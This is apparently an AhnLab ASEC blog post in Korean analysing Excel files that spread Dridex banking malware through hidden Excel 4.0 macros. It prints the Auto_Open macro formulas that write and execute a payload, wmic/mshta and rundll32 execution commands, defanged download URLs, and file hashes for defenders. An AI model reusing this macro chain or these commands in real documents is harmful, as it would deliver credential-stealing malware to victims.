Excel 4.0 매크로를 통해 유포되는 Dridex

최근 ASEC 분석팀은 엑셀 문서를 통해 Dridex 가 유포되는 방식이 빠른 주기로 변화되고 있는 것을 확인하였다. 작년부터 Dridex 유포 방식에 대해 ASEC 블로그를 통해 소개 해왔으며, 지난달 작업 스케줄러를 이용하여 Dridex 를 유포하는 엑셀 문서를 마지막으로 소개하였다. 현재 유포 중인 엑셀 문서에서는 이전과 달리 VBA 매크로가 사용되지 않았으며, Excel 4.0 매크로만 사용되고 있다. 이러한 변화는 백신 탐지를 우회하기 위한 것으로 추정되며 변화 주기가 짧아지고 있다.

최근 유포되고 있는 엑셀 문서의 실행 화면은 아래와 같다. 다양한 이미지를 이용하여 사용자가 매크로 사용 버튼을 클릭하도록 유도하고 있다.

실행 화면 (1)
실행 화면 (2)
실행 화면 (3)

악성 행위에 사용되는 매크로는 기존에 사용되던 VBA 매크로가 아닌, Excel 4.0 매크로가 사용되었다. 매크로 실행시 숨겨진 시트에 존재하는 Auto_Open 을 통해 해당 셀에 있는 수식이 자동으로 실행되어 악성 행위를 수행한다.

숨겨진 시트에 존재하는 Auto_Open

Auto_Open 을 통해 아래의 순서대로 악성 수식 매크로가 실행되며 악성 파일 생성 및 실행의 기능을 수행한다.

  • 악성 수식 매크로
    =FOPEN(GET.NOTE(Macro1!$A$3, 1, 200), 1+2)
    =FOR.CELL(“HdOrvNpzIeLysqA”,D160:AR521, TRUE)
    =FWRITE(B152,CHAR(HdOrvNpzIeLysqA))
    =NEXT()
    =FCLOSE(B152)
    =EXEC(GET.NOTE(Macro1!$A$4, 1, 200))

이때 사용되는 악성 데이터는 셀에 분산되어 있으며, 셀의 메모 기능을 함께 이용한다. 해당 메모는 숨기기 기능이 사용되어 엑셀에 나타나지 않지만, 아래와 같이 메모 표시 기능을 통해 악성 데이터를 확인할 수 있다. 메모에 저장된 데이터는 파일이 생성되는 경로와 해당 파일을 실행하는 명령어이며, 생성되는 파일의 데이터는 특정셀 (D160:AR521) 에 10진수로 저장되어 있다.

생성된 악성 파일은 ProgramData 폴더에 sct 확장자로 저장되어 wmic 명령어를 통해 실행된다.

  • 파일 생성 경로
    C:\ProgramData\fCLjKsEAHjoxErF.sct
  • 파일 실행 명령어
    wmic process call create ‘mshta C:\ProgramData\fCLjKsEAHjoxErF.sct’
메모 기능에 숨겨진 악성 데이터
특정 셀에 존재하는 악성 데이터

생성된 sct 파일의 일부 코드는 아래와 같으며 많은 주석으로 난독화된 형태이다. sct 파일 실행시, ProgramData 폴더에 sct 확장자의 파일을 추가로 생성한다. 추가로 생성되는 sct 파일은 이후에 생성되는 dll 파일을 실행하는 기능을 수행한다.  

추가 sct 파일 생성

이후 5개의 url 에 접속을 시도하여 악성 파일을 다운로드하며 ProgramData 폴더에 dll 확장자로 저장된다. 다운로드되는 dll 은 Dridex 악성코드로 확인되었다.

  • 다운로드 url
    hxxp://coldchallenge[.]xyz:8080/js/filler_dk9naf.png
    hxxp://updateviacloud[.]xyz:8080/files/filler_dk9naf.png
    hxxp://updateviacloud[.]xyz:8080/wp-heme/filler_dk9naf.png
    hxxp://updateviacloud[.]xyz:8080/js/filler_dk9naf.png
    hxxps://space.egematey[.]com/wp-content/cache/wpfc-mobile-cache/proclus-the-quaestor/amp/j4a42p0W.php
Dridex 악성코드 다운로드

Dridex 악성코드를 다운로드 후 추가로 생성되었던 sct 파일을 실행한다.

추가로 생성된 sct 실행

추가로 생성된 sct 파일의 일부 코드는 아래와 같다. 실행시 wmic 를 통해 다운로드된 Dridex 악성코드를 실행하는 기능을 수행하며, 명령어는 아래와 같다.

  • 파일 실행 명령어
    wmic process call create “rundll32.exe C:\\ProgramData\ljneLUpdLaTjomtIyXuy.dll GetDesktopDPI”
Dridex 악성코드 실행

Dridex 는 뱅킹 악성코드로 뱅킹 관련 사용자 정보를 수집하며, 로더를 거쳐 메인 모듈을 다운로드 받아 추가 악성 행위를 수행할 수 있다. 과거 해당 악성코드를 통해 DopplePaymer, BitPaymer, CLOP 랜섬웨어 등이 유포된 이력이 존재한다. 또한 Dridex 를 유포하는 엑셀 문서의 변형이 다양한 형태로 지속적으로 발생하고 있으며, 악성 매크로가 포함된 엑셀 파일은 주로 스팸 메일을 통해 유포되고 있어 출처가 불분명한 파일의 실행을 자제해야하며 사용자의 주의가 필요하다.

[파일 진단]

  • Downloader/XLS.Dridex
  • Trojan/Win.BankerX-gen.R438509

 [IOC 정보]

  • 2e118f4e98e8e41ece2be3a5b94245ba
  • c7d07592916c5f79bf0dca4b9fccda50
  • f71f826eb4d2700598476026fea1030e
  • c4ac79f00a9958a719c850995f860d8d
  • ab6b811f95b68076b5e5de338edb0f3c

 [기존 엑셀로 유포된 Dridex 관련 블로그]

연관 IOC 및 관련 상세 분석 정보는 안랩의 차세대 위협 인텔리전스 플랫폼 ‘AhnLab TIP’ 구독 서비스를 통해 확인 가능하다.

5 1 vote
별점 주기
Subscribe
Notify of
guest

0 댓글
Inline Feedbacks
View all comments